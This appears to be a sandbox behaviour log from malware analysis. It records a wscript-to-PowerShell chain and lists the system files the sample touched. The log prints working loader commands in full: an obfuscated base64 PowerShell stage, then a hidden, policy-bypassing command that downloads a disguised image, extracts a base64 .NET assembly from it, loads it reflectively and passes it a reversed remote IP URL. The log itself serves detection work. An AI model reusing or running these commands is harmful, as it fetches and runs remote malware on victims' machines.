parent_process wscript.exe martian_process powershell -command $Codigo = 'J⁂Bp⁂G0⁂YQBn⁂GU⁂VQBy⁂Gw⁂I⁂⁂9⁂C⁂⁂JwBo⁂HQ⁂d⁂Bw⁂HM⁂Og⁂v⁂C8⁂YwBk⁂G4⁂LgBw⁂Gk⁂e⁂Bl⁂Gw⁂YgBp⁂G4⁂LgBp⁂G8⁂LwB2⁂DI⁂LwBy⁂GU⁂Z⁂⁂t⁂Hc⁂aQBs⁂GQ⁂ZgBs⁂G8⁂dwBl⁂HI⁂LQ⁂x⁂GI⁂M⁂Bh⁂GY⁂N⁂⁂v⁂G8⁂cgBp⁂Gc⁂aQBu⁂GE⁂b⁂⁂v⁂HU⁂bgBp⁂HY⁂ZQBy⁂HM⁂bwBf⁂HY⁂YgBz⁂C4⁂agBw⁂GU⁂Zw⁂n⁂Ds⁂J⁂B3⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂g⁂D0⁂I⁂BO⁂GU⁂dw⁂t⁂E8⁂YgBq⁂GU⁂YwB0⁂C⁂⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBO⁂GU⁂d⁂⁂u⁂Fc⁂ZQBi⁂EM⁂b⁂Bp⁂GU⁂bgB0⁂Ds⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂QgB5⁂HQ⁂ZQBz⁂C⁂⁂PQ⁂g⁂CQ⁂dwBl⁂GI⁂QwBs⁂Gk⁂ZQBu⁂HQ⁂LgBE⁂G8⁂dwBu⁂Gw⁂bwBh⁂GQ⁂R⁂Bh⁂HQ⁂YQ⁂o⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FU⁂cgBs⁂Ck⁂Ow⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBU⁂GU⁂e⁂B0⁂C⁂⁂PQ⁂g⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBU⁂GU⁂e⁂B0⁂C4⁂RQBu⁂GM⁂bwBk⁂Gk⁂bgBn⁂F0⁂Og⁂6⁂FU⁂V⁂BG⁂Dg⁂LgBH⁂GU⁂d⁂BT⁂HQ⁂cgBp⁂G4⁂Zw⁂o⁂CQ⁂aQBt⁂GE⁂ZwBl⁂EI⁂eQB0⁂GU⁂cw⁂p⁂Ds⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂RgBs⁂GE⁂Zw⁂g⁂D0⁂I⁂⁂n⁂Dw⁂P⁂BC⁂EE⁂UwBF⁂DY⁂N⁂Bf⁂FM⁂V⁂BB⁂FI⁂V⁂⁂+⁂D4⁂Jw⁂7⁂CQ⁂ZQBu⁂GQ⁂RgBs⁂GE⁂Zw⁂g⁂D0⁂I⁂⁂n⁂Dw⁂P⁂BC⁂EE⁂UwBF⁂DY⁂N⁂Bf⁂EU⁂TgBE⁂D4⁂Pg⁂n⁂Ds⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂C⁂⁂PQ⁂g⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FQ⁂ZQB4⁂HQ⁂LgBJ⁂G4⁂Z⁂Bl⁂Hg⁂TwBm⁂Cg⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂RgBs⁂GE⁂Zw⁂p⁂Ds⁂J⁂Bl⁂G4⁂Z⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂9⁂C⁂⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂V⁂Bl⁂Hg⁂d⁂⁂u⁂Ek⁂bgBk⁂GU⁂e⁂BP⁂GY⁂K⁂⁂k⁂GU⁂bgBk⁂EY⁂b⁂Bh⁂Gc⁂KQ⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂C0⁂ZwBl⁂C⁂⁂M⁂⁂g⁂C0⁂YQBu⁂GQ⁂I⁂⁂k⁂GU⁂bgBk⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂C0⁂ZwB0⁂C⁂⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂Ds⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂C⁂⁂Kw⁂9⁂C⁂⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂RgBs⁂GE⁂Zw⁂u⁂Ew⁂ZQBu⁂Gc⁂d⁂Bo⁂Ds⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BM⁂GU⁂bgBn⁂HQ⁂a⁂⁂g⁂D0⁂I⁂⁂k⁂GU⁂bgBk⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂C0⁂I⁂⁂k⁂HM⁂d⁂Bh⁂HI⁂d⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂Ow⁂k⁂GI⁂YQBz⁂GU⁂Ng⁂0⁂EM⁂bwBt⁂G0⁂YQBu⁂GQ⁂I⁂⁂9⁂C⁂⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂V⁂Bl⁂Hg⁂d⁂⁂u⁂FM⁂dQBi⁂HM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂Cw⁂I⁂⁂k⁂GI⁂YQBz⁂GU⁂Ng⁂0⁂Ew⁂ZQBu⁂Gc⁂d⁂Bo⁂Ck⁂Ow⁂k⁂GM⁂bwBt⁂G0⁂YQBu⁂GQ⁂QgB5⁂HQ⁂ZQBz⁂C⁂⁂PQ⁂g⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBD⁂G8⁂bgB2⁂GU⁂cgB0⁂F0⁂Og⁂6⁂EY⁂cgBv⁂G0⁂QgBh⁂HM⁂ZQ⁂2⁂DQ⁂UwB0⁂HI⁂aQBu⁂Gc⁂K⁂⁂k⁂GI⁂YQBz⁂GU⁂Ng⁂0⁂EM⁂bwBt⁂G0⁂YQBu⁂GQ⁂KQ⁂7⁂CQ⁂b⁂Bv⁂GE⁂Z⁂Bl⁂GQ⁂QQBz⁂HM⁂ZQBt⁂GI⁂b⁂B5⁂C⁂⁂PQ⁂g⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBS⁂GU⁂ZgBs⁂GU⁂YwB0⁂Gk⁂bwBu⁂C4⁂QQBz⁂HM⁂ZQBt⁂GI⁂b⁂B5⁂F0⁂Og⁂6⁂Ew⁂bwBh⁂GQ⁂K⁂⁂k⁂GM⁂bwBt⁂G0⁂YQBu⁂GQ⁂QgB5⁂HQ⁂ZQBz⁂Ck⁂Ow⁂k⁂HQ⁂eQBw⁂GU⁂I⁂⁂9⁂C⁂⁂J⁂Bs⁂G8⁂YQBk⁂GU⁂Z⁂BB⁂HM⁂cwBl⁂G0⁂YgBs⁂Hk⁂LgBH⁂GU⁂d⁂BU⁂Hk⁂c⁂Bl⁂Cg⁂JwBG⁂Gk⁂YgBl⁂HI⁂LgBI⁂G8⁂bQBl⁂Cc⁂KQ⁂7⁂CQ⁂bQBl⁂HQ⁂a⁂Bv⁂GQ⁂I⁂⁂9⁂C⁂⁂J⁂B0⁂Hk⁂c⁂Bl⁂C4⁂RwBl⁂HQ⁂TQBl⁂HQ⁂a⁂Bv⁂GQ⁂K⁂⁂n⁂FY⁂QQBJ⁂Cc⁂KQ⁂7⁂CQ⁂YQBy⁂Gc⁂dQBt⁂GU⁂bgB0⁂HM⁂I⁂⁂9⁂C⁂⁂L⁂⁂o⁂Cc⁂d⁂B4⁂HQ⁂LgB6⁂Ho⁂agBm⁂Gc⁂egBm⁂Gc⁂agB6⁂Hg⁂ZgBn⁂Go⁂a⁂Bm⁂Gc⁂Z⁂⁂0⁂DY⁂UwBB⁂EI⁂XwBG⁂EU⁂RwBf⁂G4⁂aQBz⁂HU⁂bwBj⁂C8⁂N⁂⁂y⁂C4⁂M⁂⁂y⁂DE⁂Lg⁂4⁂Dc⁂MQ⁂u⁂DU⁂OQ⁂x⁂C8⁂Lw⁂6⁂H⁂⁂d⁂B0⁂Gg⁂Jw⁂p⁂Ds⁂J⁂Bt⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂u⁂Ek⁂bgB2⁂G8⁂awBl⁂Cg⁂J⁂Bu⁂HU⁂b⁂Bs⁂Cw⁂I⁂⁂k⁂GE⁂cgBn⁂HU⁂bQBl⁂G4⁂d⁂Bz⁂Ck⁂';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://cdn.pixelbin.io/v2/red-wildflower-1b0af4/original/universo_vbs.jpeg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.zzjfgzfgjzxfgjhfgd46SAB_FEG_nisuoc/42.021.871.591//:ptth');$method.Invoke($null, $arguments)"
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe